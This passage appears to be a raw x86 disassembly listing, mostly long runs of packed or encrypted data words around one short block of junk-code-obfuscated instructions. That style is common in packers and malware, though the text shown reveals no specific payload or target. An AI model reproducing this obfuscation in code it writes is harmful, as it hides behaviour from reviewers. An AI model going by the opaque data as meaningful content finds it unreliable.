		dd 69FB07B3h, 2D9919A0h, 0ECB743E9h, 40E8D9D8h,	3D6D095Ch
		dd 0BE5C3737h, 6AE6B5DFh, 0AC0BB384h, 716252C6h, 0D42A513Ah
		dd 0F6F97922h, 43E86EA1h, 0C575C3Ch, 0D8180000h, 7FA36844h
		dd 0CF2005F7h, 0CDABF3Dh, 489B807Ch, 9E4FEEBEh,	3F983A8h
		dd 6B41CF1Eh, 0FFFD83A6h, 6E3ECA1Ah, 0F9813004h, 6D36B7E7h
		dd 0A61E9A74h, 96536F17h, 9536E33Eh, 4346D212h,	8534C064h
		dd 3643CD1Eh, 8732B871h, 3841CB20h, 0B9C5067h, 0F9EE7EECh
		dd 2277E202h, 32387503h, 0A63E9653h, 2856A6FDh,	2316AE34h
		dd 23362h, 0E93D6200h, 108C3259h, 0CDEC985Ah, 0B67DB880h
		dd 9ECA7CFDh, 34F3A82Ch, 5E9017A2h, 0ABF8ABCEh,	0E7C25B20h
		dd 0DF6AF49Ah, 0FE8A5A3Fh, 5BA3287Bh, 21B20BAEh, 0AAC592A6h
		dd 0EA5BB51Fh, 0C3F2CA5Ah, 0E4A52ABBh, 0EE35622Fh, 22665764h
		dd 0F527788h, 79539A2Ah, 7BE90EFBh, 0B037B5D6h,	64F23368h
		dd 264C6B55h, 9A76D329h, 6519A2F1h, 5B538475h, 1BFA3h
		dd 2B019B00h, 12AA1A9Fh, 611B98DBh, 0BDF07C39h,	3E9625B5h
		dd 0DA856029h, 0DB516B71h, 0AC802754h, 60D6CC20h, 16B302B2h
		dd 0BA0E9A4Ah, 8B33FE5h, 0C87074B5h, 435860BFh,	1F6716A0h
		dd 931D5C23h, 2AF90586h, 4445588Bh, 4F6E56EEh, 0F672EE27h
		dd 0F7C6EE9Bh, 0F672EE8Fh, 89751603h, 9EC0F980h, 10ECC096h
		dd 466109A8h, 0CCD50025h, 1C01FEBFh, 0A53D74FFh, 24ED1D4Eh
		dd 4166DFA9h, 465960EAh, 3937845h, 0F2C509D8h, 0F5E5EDFAh
		dd 23F14002h, 50h, 985A101Bh, 0EF73B7ECh, 0D8E1B23Ch, 0B100C4C7h
		dd 12CA6503h, 7DBD61C2h, 78988BA5h, 7A36C32Dh, 6B527724h
		dd 13B1313Eh, 8D987DFBh, 2DFEA3B5h, 0FE8D16A3h,	638E2D00h
		dd 4CED27CAh, 93C70B9Ch, 0FA41291Ch, 0C9F082A5h, 0BED6B5D6h
		dd 0E8000000h, 82A32B01h, 8D1A9FF4h, 0E6BDCC56h, 980FBA46h
		dd 45F4C854h, 79BEA61Bh, 9E0C0A92h, 19DEBF08h, 653C5636h
		dd 0D4E06CC0h, 8F8C05ECh, 2578EE95h, 2628E288h,	3E4D56C0h
		dd 0C472E8BEh, 0D1E09420h, 0C02628A9h, 951F741Dh, 72E7F526h
		dd 4CA005D0h, 0E5E6B9C0h, 0EB7A42D8h, 0DBEAD3DCh, 1EBD4CE1h
		dd 4AA1D3C0h, 7D839834h, 715378ADh, 2925449h, 73FD2E79h
		dd 0C54F9479h, 0EC2505Dh, 0BAE2E5D3h, 0A0Dh, 1E8E22CEh
		dd 0D329B179h, 1D8F21CEh, 0D626B678h, 1C901AD1h, 35F6509Dh
		dd 994C51ABh, 35ECB10Bh, 94583DAFh, 7A4AB408h, 0B7E5333Bh
		dd 0F4CAA736h, 4CA02A01h, 0A319A547h, 9F2B0115h, 0CB578D1Ah
		dd 8F5449F1h, 49BB3857h, 5E358736h, 783F5Dh, 62370000h
		dd 2C9239BFh, 1ECC29DBh, 0D118A0D4h, 0CF62CA99h, 921AD05Dh
		dd 0EF03BAC1h, 3AEE332Ch, 0BA90AC7Eh, 0AC00CF5Eh, 0FAC29008h
		dd 74CC97F3h, 0BCBFBEF6h, 3B065942h, 3CF7B18h, 0B5864271h
		dd 832585C7h, 8520E074h, 76698CF6h, 0C7F6CEC0h,	9C6513BFh
		dd 837B09DCh, 1372F8B7h, 3DE69C65h, 8E166566h, 0A6C7D67h
		dd 0BA6B5E62h, 51029D2Ch, 98C7D42Ah, 7BC4h, 5A10B600h
		dd 1DD4EC98h, 3462FA11h, 0E3DAE12Bh, 0EA3E0DF4h, 34CEFC75h
		dd 43AA92F4h, 0B2EFBD5Eh, 5B239264h, 0CF31A591h, 0D3EA91C2h
		dd 3CE1E15Ch, 0FE8693EBh, 0CFFA80A9h, 0D75F83D4h, 0FFCAF1B2h
		dd 6DFBDBEh, 40EFE63Fh,	5B422C06h, 0F638206Ah, 70776D0Ah
		dd 0DEE62C9Ah, 0F3AFD7E6h, 7623E8E9h, 1B406F55h, 8CE572CAh
		dd 46AB75DAh, 76C59940h, 0A351F7ABh, 0D31606F6h, 68000000h
		dd 0EC985A10h, 0A5CDECD4h, 193E9653h, 0CBC67570h, 9118125Fh
		dd 9C4CD3EAh, 83DDC35h,	53FE5975h, 854D7A71h, 0CBA6DAECh
		dd 0D720FDC0h, 0B03E8A74h, 7E0DDCE3h, 0FFD3D434h, 0E1335BCBh
		dd 79F9h, 5A104500h, 88CDEC98h,	0F5F6F0A4h, 9A2BDEA2h
		dd 99F37C6h, 173D5C0h, 0D5ED7718h, 0D843A0E6h, 8407140Eh
		dd 0E4446EFDh, 4E6D55C3h, 0ED84328h, 0A531F39Ch, 0F486A9EEh
		dd 0CDB1DAC5h, 0F3589A7Dh, 35ABh, 5A101300h, 0C5CDEC98h
		dd 0B8402F9Fh, 51EAC920h, 7B118835h, 9B0135A5h,	7100D1EEh
		dd 3445D113h, 8A2FBF6Fh, 0B740A73Dh, 9939AE1Eh,	0FEF96BA9h
		dd 19D7h, 3F17E700h, 0D2804630h, 633D3F3Ch, 0A6B1300Dh
		dd 7031BE88h, 0FFFEB51Ch, 0A61E8EFFh, 0E9F2B01h, 3E965368h
		dd 0DDD16185h, 49318034h, 0BD3E9653h, 5B0FA7D4h, 62CEED97h
		dd 2115333Dh, 6BEA3C74h, 348F03B2h, 89DB9159h, 0E3B704D2h
		dd 7FD43AE1h, 88EECDF5h, 0FC36B77Eh, 555D6C0Fh,	348331E1h
		dd 6B0AB5E9h, 0A51B62E6h, 0B9EECF41h, 0A5C658FCh, 0B4C8D61Dh
		dd 46A3311Fh, 1095DEA0h, 951FB416h, 0ED6D6026h,	0C4C7D4BFh
		dd 8A28513Ah, 3FC91ADCh, 43586014h, 347316A0h, 4D5663F1h
		dd 4B487516h, 2C1A3036h, 0D01DF857h, 0FAB901A9h, 0FB375074h
		dd 2D903BE8h, 3E5F8AF8h, 0BDC5F4CCh, 31B80F15h,	155D5C68h
		dd 89B80F15h, 7103FB80h, 63871CA8h, 9F4BE1DBh, 80099557h
		dd 7140741Fh, 0C55CD660h, 0E0D34AE5h, 0CAD164B9h, 79B754EDh
		dd 0AE36F6ABh, 0DBC4F57Bh, 12FB0388h, 46045D3h,	2018079Eh
		dd 0F1F88CD7h, 0F95D7FCCh, 1C3C819h, 23C3459Ch,	44ECC093h
		dd 7AFF8F5Fh, 0BF1BA229h, 1A44DF9Ah, 0D58D2BE5h, 2710F6FDh
		dd 540C81F7h, 0CD695427h, 26E6C831h, 0EF97269Eh, 635A1717h
		dd 0B4DF69BAh, 0C44CA007h, 0EEBE951Fh, 52770329h, 5E5DF664h
		dd 5A171818h, 0A0D47F8Ch, 0D6C89711h, 505F6EFBh, 5FFFBC80h
		dd 0A5DEB3Ah, 633C4DDBh, 0BD736558h, 0A93B1E6Ah, 0B1BDEA32h
		dd 8ED93512h, 0F7A8D15Fh, 11A018ACh, 49F15869h,	428734DDh
		dd 8831C165h, 57F17938h, 0BC6549F1h, 1CAD39EBh,	45B23597h
		dd 0ABA83FE7h, 3DA8B2B8h, 0C8F179B1h, 0EDFF8CD7h, 9F2B01FAh
		dd 1BA1484Dh, 69F1396Eh, 96117360h, 0C636BC65h,	0F78208E1h
		dd 0DC12D8CDh, 87E7651Ch, 0E590A3Fh, 7D2653DDh,	1C22334Eh
		dd 0B8ED2BBCh, 1DD4E577h, 14F7626Eh, 388DB36h, 5F77DA4h
		dd 94561037h, 0E26EBEE5h, 9319D0D7h, 0DE6CC1E6h, 8C1B8FDBh
		dd 1F885C6Bh, 3DAF73EBh, 87089458h, 0F987A8FDh,	0ADFAA931h
		dd 0B4CDEE74h, 30B72F96h, 0D28D19CBh, 0BCCD558Dh, 0FB96D6FDh
		dd 239E4794h, 8F2E074Ah, 642BE9h, 1BAD7A1Fh, 68F2396Eh
		dd 11EB903Bh, 7DA55651h, 0CF12F7F5h, 590A984Dh,	83DC8930h
		dd 32195402h, 0E437B38Ah, 17A34358h, 643F4AD4h,	5036852Fh
		dd 0C467769Eh, 4209B4D7h, 0BA91CBCCh, 70CBB302h, 523F3D21h
		dd 8D555229h, 0B58E209h, 7802297Eh, 3A406F51h, 0AE3D2170h
		dd 6582E2E5h, 0F4A9B392h, 41F7F630h, 14A4DF4Eh,	37B03C3Fh
		dd 25971DC4h, 0ACE2089Dh, 0F1DFF084h, 5A5F3451h, 9C7B4249h
		dd 7D637097h, 422B3B03h, 9414C85Bh, 0C97E3D21h,	72CC9723h
		dd 7E539261h, 0FFFF1C8Fh, 3CF0B5FFh, 0F59609B0h, 9F2B01C9h
		dd 18A4484Dh, 901CD077h, 7A6D4DEFh, 701FAB81h, 16A9CEFEh
		dd 0BE703523h, 7EFE8D2Eh, 46000000h, 0D8EC51AFh, 12C8913h
		dd 1CA7FEC9h, 58B465EBh, 106E507Bh, 0CDEC985Ah,	5C0E62E0h
		dd 8B05729Dh, 11F78695h, 810B848Eh, 1BA926F3h, 0B2D76986h
		dd 95B7CAF1h, 39D1D6F6h, 802F458Dh, 0D0FCF32Eh,	32901CF9h
		dd 479B00DBh, 0CD9620C3h, 0BDBE4A9Ah, 72417941h, 0BA4D740Ch
		dd 0D5E89380h, 2E9AC6E6h, 0A832F9AEh, 0E36B54Dh, 0E794495Fh
		dd 360E6517h, 0F2C30DA1h, 4EFE5102h, 7Eh, 985A1020h, 1FCFD4ECh
		dd 70D1EC8Fh, 151D3BC3h, 0C5AF6DEFh, 0FC17CC5Fh, 9E263DEFh
		dd 2F5AE009h, 0EAB74774h, 0F57314E5h, 0F77DA432h, 0F782D1D2h
		dd 317FE2FEh, 7D2A742Bh, 0FA6C1DA5h, 0D827572h,	60E83A5Fh
		dd 0A7454659h, 0D61CCA40h, 0CDF16AEh, 0FA53D5DDh, 0E0645962h
		dd 8F0CCBFBh, 9DCAC9CEh, 11D3C874h, 2EC7F685h, 0C4964D02h
		dd 2EB46D32h, 394B188Bh, 5F88C8B2h, 21AA9967h, 2B01F07Eh
		dd 0ABF87EA3h, 0D763891Eh, 579B4FE5h, 42638E2Dh, 0E5A01B8Dh
		dd 1DE03A9Ah, 0F87E3D85h, 6CE3042Bh, 96A11C9Fh,	0D3C8CD8h
		dd 9F21A871h, 0EF9C2CFAh, 380044CEh, 55583F53h,	0D564CD94h
		dd 0F602852Eh, 0C8DF09A0h, 5138BA0Ah, 0AA7C2152h, 1241CF1Eh
		dd 742269h, 101C0000h, 0CDEC985Ah, 5BE19AA0h, 0D459D7DDh
		dd 2F4C739h, 543AC973h,	6A0F9F4Fh, 95E99239h, 0ABF1F88Ch
		dd 0E5357C67h, 8B811BAh, 2630E5E1h, 0F63CC425h,	3E766F44h
		dd 0B508B346h, 6EE3D7AEh, 22A88126h, 3E7F0C97h,	573DACB2h
		dd 0F6948332h, 0E3D67509h, 7D07DCC1h, 0C428534Ch, 79B0F523h
		dd 0A6B6C8F3h, 0D4BB3A26h, 11Bh, 0F417F9F0h, 6251B520h
		dd 0D71E6559h, 55E6D001h, 76315A69h, 89F2AB6h, 0F9895DE3h
		dd 0F584CFD0h, 0C7F27EAEh, 63840CE0h, 0ACF7A8D1h, 0EE336850h
		dd 0AC9C8DBAh, 0EEA5056Ch, 5D8FD8CBh, 0D4F7A8D1h, 0FC9833E9h
		dd 32B102B6h, 695D8FAh,	18FE0F2Eh, 7D05B40Ch, 0F14DC76Dh
		dd 23AB7F28h, 5A7E0D96h, 11EB77ADh, 3D4CD80Ch, 6311C175h
		dd 3BC92354h, 6C4B7320h, 7B531106h, 11097140h, 947D7B53h
		dd 734A711Ah, 8EEE39B6h, 7E756C51h, 590BAD9Bh, 0D4E56FB4h
		dd 8E2498CBh, 4B6A1AD8h, 7BD9D1Dh, 52E505Ch, 36F0CD60h
		dd 525DB8A1h, 86ED356Ah, 0E9154F37h, 8DD6C3D1h,	611300FEh
		dd 5F5DE73Ch, 83DF69BAh, 49F79E78h, 868A12B5h, 47000002h
		dd 0F29715A9h, 4F54A830h, 0F99E0EA0h, 4247A535h, 26A517A1h
		dd 20AA81C5h, 9826C7CCh, 24AA7F24h, 9521C3C8h, 0D6E5CD17h
		dd 36B7DEB0h, 1774724h,	474CA02Ah, 0C1653AA5h, 52F67C31h
		dd 0A16A3E96h, 0F8AB35F6h, 0C8673C04h, 10299536h, 0D4EC985Ah
		dd 0BF1BA61Dh, 4774D4F1h, 9C380476h, 0A7B74F22h, 0B5885C0Ch
		dd 7B69E49Ah, 70190274h, 0B752E449h, 0DE03980Ch, 50DE0F58h
		dd 68557629h, 0D875839Bh, 0D69C1BA3h, 4AE9032Ah, 4BD51641h
		dd 0E1089840h, 4D519C88h, 7E3F4CA3h, 4747441Eh,	54537520h
		dd 3EF84E7Eh, 3AF0B56Fh, 1A8209B2h, 0C2000001h,	53780ADDh
		dd 0A32B016Bh, 0D1D2F77Fh, 5BE288D4h, 9AC921C2h, 0E973B8EFh
		dd 0F11ED9E0h, 0F37FF11h, 0DDBC7D4Dh, 9DC4323Eh, 37EDB2BDh
		dd 0A5EE80AFh, 0A8885F47h, 0A14733Bh, 7CEC75F5h, 6E0B7779h
		dd 28A5A4Dh, 3D4574E5h,	0B1C1CEFBh, 950EBBE8h, 38F1B6BEh
		dd 0A22F33B2h, 7C99777Ch, 8E3C7A4Fh, 0CC813044h, 590C32BBh
		dd 0A7395652h, 7B03B20Ah, 0EF479A95h, 21B17522h, 54840798h
		dd 0E0A114C5h, 0D8CD5764h, 0CB598C14h, 0BAEE5BEh, 0FE0BF398h
		dd 9042F8AEh, 25C7DCE4h, 8A73FBBAh, 3AE72A54h, 3C3F6069h
		dd 0E2385581h, 20C2D777h, 0DAEF198h, 6A914B0h, 442FCEF0h
		dd 98FBF9CAh, 762B5942h, 0CCD12BB5h, 2CA58D17h,	1982D8A1h
		dd 1033666h, 24C40000h,	0B3771C90h, 1BCCD12Bh, 0C06E3389h
		dd 14D7BC30h, 5A93328Ah, 4FAD37ECh, 0AF0D9B4Ah,	3BB137EAh
		dd 0B20A9656h, 353D7C48h, 0A936B7DCh, 2A01DEB0h, 5D8F14A0h
		dd 0C249A8D1h, 0CA405B8Fh, 8D6F1C47h, 0E4D86488h, 17A61E56h
		dd 3E96536Fh, 61E73AE3h, 0CE1E8932h, 188D3742h,	5F4049D3h
		dd 0D994B5Ch, 0AE3AEAAFh, 793593Eh, 2840767Dh, 0F8ADC1E7h
		dd 0D1FAA933h, 6D35C1F8h, 0B4707D8Eh, 0D401EB48h, 99E1D0E8h
		dd 0DFD4FA3h, 9A467704h, 0D77B22A1h, 0F00B9C50h, 573CB03Ch
		dd 0E38B2A95h, 577F7CA4h, 3370194Ah, 265663F3h,	57E3099Eh
		dd 5B239232h, 0CF7F7CA4h, 2EA91C2h, 0C16E33E5h,	0C91B8C2Fh
		dd 5861E941h, 0A4214968h, 8C957F7Ch, 0A3F88CD7h, 0DDC6F383h
		dd 5E664EAEh, 7CA4175Fh, 0FD7E8B7Fh, 0CBEE7AAAh, 18D1h
		dd 891EA300h, 0AA022666h, 8C2C181h, 3C72E5Bh, 2C3B8023h
		dd 0CED8E3B0h, 9B2F01B0h, 0E773B9EEh, 961CC5E2h, 0E371B4F3h
		dd 901AD1D6h, 0DF69BAE9h, 8919CDDAh, 0F284A300h, 820AE0C7h
		db 0F7h, 99h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 51F0581Bh
		xor	ecx, 562E01EBh
		push	ecx
		pop	esi
		pop	ecx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esi
		mov	[ebx+8], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_63555E
; ---------------------------------------------------------------------------
		dd 0E1783763h, 0A526B3E9h, 65B828E8h, 307DE78h,	41E0FFC5h
		dd 7F06F584h, 0CA4A8423h, 947249Ch, 0FF392A5Eh,	9307FF4Bh
		dd 0F0671C45h, 1A1FD3E2h, 3853B613h, 9339577Fh,	5B72E972h
		dd 2201E249h, 2E043E48h, 0FA0A5C71h, 0E063CFF9h, 0A248F407h
		dd 8408057Bh, 8907165Bh, 33599FCCh, 8D541407h, 0DE7A248Dh
		dd 89D18B07h, 0D329418Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 74F3F082h
		dd 68A0FD2h, 9000000h, 0D30BC985h, 11E907h, 0C35C0000h
		dd 8322AEEDh, 43C16182h, 0CB6C6613h, 0C7857680h, 0D32BA185h
		dd 6E1807h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 6060F13Bh, 1E63CAF9h, 0F8A9B760h
		dd 12E960h, 12F10000h, 2C033342h, 2086EAEEh, 1E66E504h
		dd 3068768Dh, 8C33E781h, 0C7615676h, 0D3331185h, 7, 31958B00h
		dd 0FF07D326h, 0D32DA5B5h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 68F0F88h, 89000000h
		dd 0D31AB59Dh, 3D95FF07h, 3107D32Dh, 0D3269995h, 3860F07h
		dd 0F000000h, 6ADFBFh, 301995FFh, 0C08B07D3h, 0B87B2CEBh
		dd 0AC6FBDFCh, 6FF33985h, 1BBB4702h, 904F8C2Dh,	0F69FC960h
		dd 0B39CF318h, 0C082F08Bh, 0B7341FAEh, 196BF660h, 0A8ECAB64h
		dd 34E91D31h, 44000000h, 17618Fh, 0Bh dup(0)
		dd 0E9000000h, 1044h, 0DE7D0068h, 4418E907h, 5768FFFBh
		dd 0E907DE7Eh, 0FFFB440Eh, 0DE80E568h, 4404E907h, 0FE68FFFBh
		dd 0E907DE81h, 0FFFB43FAh, 0DE85A668h, 43F0E907h, 9468FFFBh
		dd 0E907DE87h, 0FFFB43E6h, 0DE88E168h, 43DCE907h, 828FFFBh
		dd 4F937874h, 0FF30F5C7h, 5C8A8F6Dh, 0F82BF0CCh, 2EBF7E6Eh
		dd 7349D318h, 0FBF17FAEh, 6F4DD316h, 0FEEE7AAAh, 89F1C074h
		dd 0FD36B7D9h, 974B50E4h, 1526C0Fh, 8D1A9F2Bh, 49F1CB57h
		dd 533C4271h, 0E3B03E96h, 0AA68DED8h, 97629B1Ah, 3077678Fh
		dd 0DF27BFA7h, 383E7D45h, 0AC037A79h, 5B442E3h,	4D9EC99Ah
		dd 7E05B8C3h, 0B636833Ah, 97268E3Fh, 0BEE9A52Ah, 0CAD5E46Ch
		dd 2F8717C1h, 715BFA80h, 0AD0565D0h, 0FFA282DEh, 25D9E2AFh
		dd 976C4D7Ch, 0A868C44Ch, 0AD12647Eh, 0FF875B40h, 1CB3827Ch
		dd 0C8D071F4h, 0EC2CBB2Dh, 0BD456405h, 944D8CFAh, 6B386B0Eh
		dd 0E42E1E60h, 785C9A67h, 62000000h, 0EC985A10h, 0E1E876B7h
		dd 0A807BDBEh, 6522F0D5h, 9CE2D1E9h, 101809B6h,	0C9457803h
		dd 0A281FE22h, 0BB13B9FBh, 0EF3267F5h, 0EE766269h, 0E0E971B9h
		dd 5942BCBFh, 76CE8930h, 482735F1h, 0B0BF4104h,	0AC1A908h
		dd 6C356E9Ah, 0B4E9795Fh, 0EED6E371h, 9A0AA7CFh, 256E1B6Eh
		dd 8F572796h, 44DBC76Bh, 901503A4h, 0FDA6D359h,	0CBF078AAh
		dd 48DC9FB3h, 136CDFAh,	1F10000h, 8D1A9F2Bh, 9319D056h
		dd 0E007B9C0h, 31386521h, 129536D1h, 644346D2h,	698034C0h
		dd 4AD88F1Fh, 0CC305B48h, 45069BDDh, 54CC2CCh, 0EA7AD396h
		dd 0F2376DB5h, 0E2DC9372h, 3F81085Bh, 391F0A70h, 0BE957E8Eh
		dd 500900BDh, 2BDCF939h, 42576DF9h, 47D717A5h, 89326D1Ch
		dd 0F27EAE73h, 780ADDC2h, 9C2D4E51h, 4272A016h,	75FD257Ah
		dd 8091B970h, 17A44037h, 1F3863A6h, 5301903Bh, 74476456h
		dd 298A44B1h, 0A319025Ch, 0EB99590Dh, 1F9EE4D3h, 9123B16h
		dd 10734282h, 397B4CF9h, 5AB5C439h, 93A2E077h, 3E06C283h
		dd 6818DBB7h, 787DE54Ch, 204DEAEAh, 629C1F63h, 0F6F9210Bh
		dd 0A9FAB4F5h, 30FEA31Bh, 58619A0h, 5F781A2h, 8B62CB20h
		dd 4B4534F4h, 8BF38AA5h, 0FF738E08h, 184BD516h,	0C89BE74Bh
		dd 17AAEE52h, 0D1485h, 9B2F0100h, 1EA67C21h, 9426C9CEh
		dd 23B37318h, 951FC4C9h, 0F3539817h, 5156A630h,	0F99E0E9Ch
		dd 4D52AA30h, 47B10B97h, 0D6363C7Bh, 0B1AA36B7h, 64891EDDh
		dd 0CBF0B3D6h, 34CF07DCh, 2EC48DACh, 0BF64580Bh, 1D0BE16Dh
		dd 0EC985A10h, 0DEFAB6CDh, 6060C782h, 2E0F45A3h, 0B641E6B7h
		dd 901F9727h, 0A7AE0AEAh, 0AED9524h, 0B861A7AEh, 0D02E5D46h
		dd 990EB6C3h, 0EBB4C555h, 1C86DDE0h, 7D744F6h, 0A54D66D5h
		dd 4EBFD61Dh, 4E0BE1C6h, 0C47F902Dh, 0A8F21ABh,	139950DCh
		dd 65663D66h, 9020CE73h, 0DF69BAE9h, 0F0F7EDDAh, 6D7A7207h
		dd 9DAE7565h, 0F3A351h,	19B0000h, 89F1C02Bh, 0FD3E9653h
		dd 26259114h, 368D3946h, 0A142576Dh, 8A317217h,	39C3683Fh
		dd 74C92990h, 0AEF3E458h, 2BF2F37Dh, 7CDDF2A9h,	174C711Ah
		dd 83E871E7h, 5B79FCF4h, 0D616119Fh, 77AD724Ah,	62D8DEEBh
		dd 0A8B504B0h, 25481D23h, 0EBD069BFh, 482E8D35h, 0BC503C47h
		dd 8D2CACCFh, 50CE0A6Dh, 867623D1h, 0CCF83AB0h,	97BA10EDh
		dd 6CBD3408h, 4DFB3513h, 0DF6C517Ah, 0A1C49B2Eh, 0EF5CF412h
		dd 0FDA65889h, 8711D2C7h, 52BB7035h, 0CF551B63h, 0D1828F47h
		dd 9C7D0B51h, 198306D3h, 0BBDh,	12EA7EAAh, 6F4DD50Dh, 11EB7DAAh
		dd 724ADA0Ch, 10EC76ADh, 598ABC31h, 0F538DDCFh,	59909567h
		dd 0F034D9D3h, 56DE8864h, 0B7D51F67h, 0C8569336h, 4CA02A01h
		dd 7B3AA547h, 3E9652F3h, 96DCDB67h, 0A3E9653h, 93225201h
		dd 3E9652EBh, 0BE1B25Fh, 9F2B011Dh, 0D05C9015h,	0EFCEF6A9h
		dd 3E965387h, 5C6D0EFBh, 6B19A547h, 5D6CF436h, 0EDC33942h
		dd 0AC0BB979h, 2095947h, 0F64D8478h, 33E1D48Dh,	7399DD75h
		dd 32711801h, 0AE9666F2h, 55C4CC47h, 5C5FB050h,	7C0D994Bh
		dd 47D7AB3Dh, 1449F269h, 0DDC03A92h, 3F3F1422h,	8C1BD156h
		dd 8331BD6Fh, 3643CD1Eh, 169E5E6Dh, 0A7D25891h,	14D8CFFCh
		dd 23B80188h, 747CBF1Bh, 88095791h, 6BC6A17Ch, 503A5C94h
		dd 0C5AD0CB4h, 39851826h, 79725550h, 0EF513893h, 918720CCh
		dd 5FE48A29h, 4B588517h, 5AC56740h, 175F135Bh, 0C99A8785h
		dd 72FE2EF3h, 0A93B7647h, 4C1898D1h, 92E071F2h,	5A5BBD5Bh
		dd 0E893CD16h, 0CB96AA93h, 93407EF6h, 9F45B631h, 30F49913h
		dd 44AB15A4h, 416D45DAh, 7B3B401Fh, 427103CFh, 0CC583253h
		dd 2BA3A858h, 0C13DF06Dh, 0F77DC6CAh, 2E04F8A1h, 6B4A7AB8h
		dd 0EB5965F7h, 606EAA42h, 0F27342B0h, 9870E257h, 0A836F7ACh
		dd 1FD7E21h, 65546C18h,	9B7D9A1Dh, 0CA5A8C91h, 0CAFE4BFh
		dd 24C5FCBDh, 0BE5A6FABh, 0B81DF92Bh, 2B62F921h, 0ECCBF3EEh
		dd 0F3228586h, 51C3C8F1h, 6E406049h, 0AAF981A9h, 841CB721h
		dd 3544CA1Fh, 1C8B616Ah, 0FC82A7FCh, 0FB9BAFCFh, 0EB02D7A2h
		dd 2F8E7ABEh, 0F322AB47h, 1DD7CEBBh, 1BCF9899h,	0EBDE693h
		dd 5CD7Dh, 891EC100h, 0F4AFDA60h, 0C2F1BAC7h, 0B840E214h
		dd 9FDAD9EBh, 0BCEC30B4h, 0C23FA0DDh, 8E7E9D80h, 4EA0CAB1h
		dd 6E16A449h, 0BEFB274Fh, 0A5EE9BF4h, 4D72BBEAh, 28272400h
		dd 0D00EE89Eh, 0B6A1C9E8h, 0C157C12h, 27C2597Fh, 42B52C43h
		dd 982CE654h, 0C1241519h, 8A1AC0BFh, 0DFCE3686h, 709186F4h
		dd 215340AEh, 6E1BA97Ch, 281F6756h, 86933B26h, 9B1BAEDDh
		dd 0BA44E72Fh, 96DCDBE9h, 0D03CD6D8h, 509218CBh, 0CDF09BC8h
		dd 9CA56B7Ch, 0FE7CDEBFh, 0D6EE3B91h, 0F90C9FE7h, 85061370h
		dd 9BB68F6h, 0B5C45094h, 0F5670BEAh, 3CF037B4h,	0BC70358Fh
		dd 6267ED34h, 0F59A1241h, 47BFA32Fh, 2EE8C7A4h,	92F019Bh
		dd 0CC1C0000h, 0BDFC438h, 0C3642983h, 18D6BB31h, 0BC6F3488h
		dd 0F2FBBA32h, 0A7058F54h, 37B543E2h, 0B3098F52h, 3AB23EEEh
		dd 0CDB504B0h, 4136B7D3h, 0D71E9628h, 0C8AB595Ah, 6B3C3FC7h
		dd 79C2DB9h, 323877E8h,	0A63E95EEh, 4656A6FDh, 0FBh, 0EB5B1038h
		dd 304FA2CEh, 5B642F37h, 0FB6DB58Eh, 0C8F6E6ECh, 70242315h
		dd 1A000000h, 0EB995B10h, 2E1B03CCh, 86A57C5Fh,	1C814F2Eh
		dd 62EA40C8h, 4CF18A31h, 0FE86CEF5h, 0DCEDB648h, 0EB9925C7h
		dd 0DEEB75B6h, 6146B6C5h, 0E991208Bh, 5DDB1652h, 0EADADFB4h
		dd 0DBE072B5h, 11A36FDBh, 0B15A57A2h, 927E9414h, 6E4FA716h
		dd 0D00D4862h, 6C479EFCh, 891C35B9h, 0BCF980D3h, 23379B0Ch
		dd 514C32C1h, 7, 120F66Dh, 10C80000h, 0CDEC985Ah, 0B99B5163h
		dd 0F139A31Ah, 9F27F606h, 59BFB9A5h, 333E5492h,	0EE30126Bh
		dd 0FC8E6736h, 99E2E97Dh, 7E04B30Bh, 0F240A914h, 256EF42Dh
		dd 0B7BB6896h, 0D8B7BC49h, 1633651Ch, 3000008h,	0B65B51E5h
		dd 0B10EC74h, 0AD724ADCh, 0E13E979h, 0DA5953DDh, 64EE3511h
		dd 0D4628388h, 68EE33D8h, 0D15D8F94h, 12A191DBh, 36B7D26Ch
		dd 102B03E0h, 2BF6995Bh, 485FC1F3h, 16AA3A8Ah, 816823h
		dd 15DC0000h, 0F8418E3h, 1B0C4ADh, 3E95F079h, 279724EDh
		dd 0EB995B10h, 7683AF04h, 943776BAh, 7EC46E3Bh,	939990Eh
		dd 3723168Ah, 53h, 995B1087h, 0BACA2BF6h, 0CBD8E167h, 0B7FC8D19h
		dd 60659215h, 572AE700h, 647AF529h
		dd 3FD73657h, 4BEDCA59h, 0F8A93E96h, 19985586h,	0B504BC2Fh
		dd 4A9935CDh, 0C566F238h, 0E1DD2D16h, 2EC06F38h, 1873188Bh
		dd 0FFFFFE7Dh, 5D25942Ch, 0D14A9864h, 10FBC3C8h, 2BF6995Bh
		dd 4B50E8CAh, 257E0B9Bh, 81515696h, 2316AA51h, 3117Fh
		dd 2A01BF00h, 5C8A19A0h, 0BE06BDCCh, 0A5AE9237h, 0BEF1F47Eh
		dd 0BA6A3D94h, 73188B2Eh, 568D6E79h, 0F82BF0CCh, 0FF6B4B6Eh
		dd 0D328133h, 0C5349482h, 7EE2E72Eh, 7902A2CDh,	24BC7E44h
		dd 9BC37294h, 154362BAh, 0A8D35990h, 5B5E2BD3h,	0D526C121h
		dd 8028840Eh, 8F3CCA1Bh, 4049D318h, 0D1325979h,	0B1B9BC4Bh
		dd 0D5ED8A22h, 11A0E6h,	840714B9h, 16D7CC54h, 11640AA9h
		dd 0CBD8B900h, 0DAEF198h, 8EA92BB0h, 35CDB7E5h,	8A2FBD70h
		dd 6D7A7219h, 0D9D35D8Eh, 0D9B4C51h, 701B48DAh,	0BF6EF437h
		dd 4C178831h, 15C1753Dh, 671D46CCh, 3F77B648h, 7559C1A1h
		dd 9E8DCAF4h, 849E61EFh, 0CE0A90Fh, 24AA7F24h, 0E68C2B95h
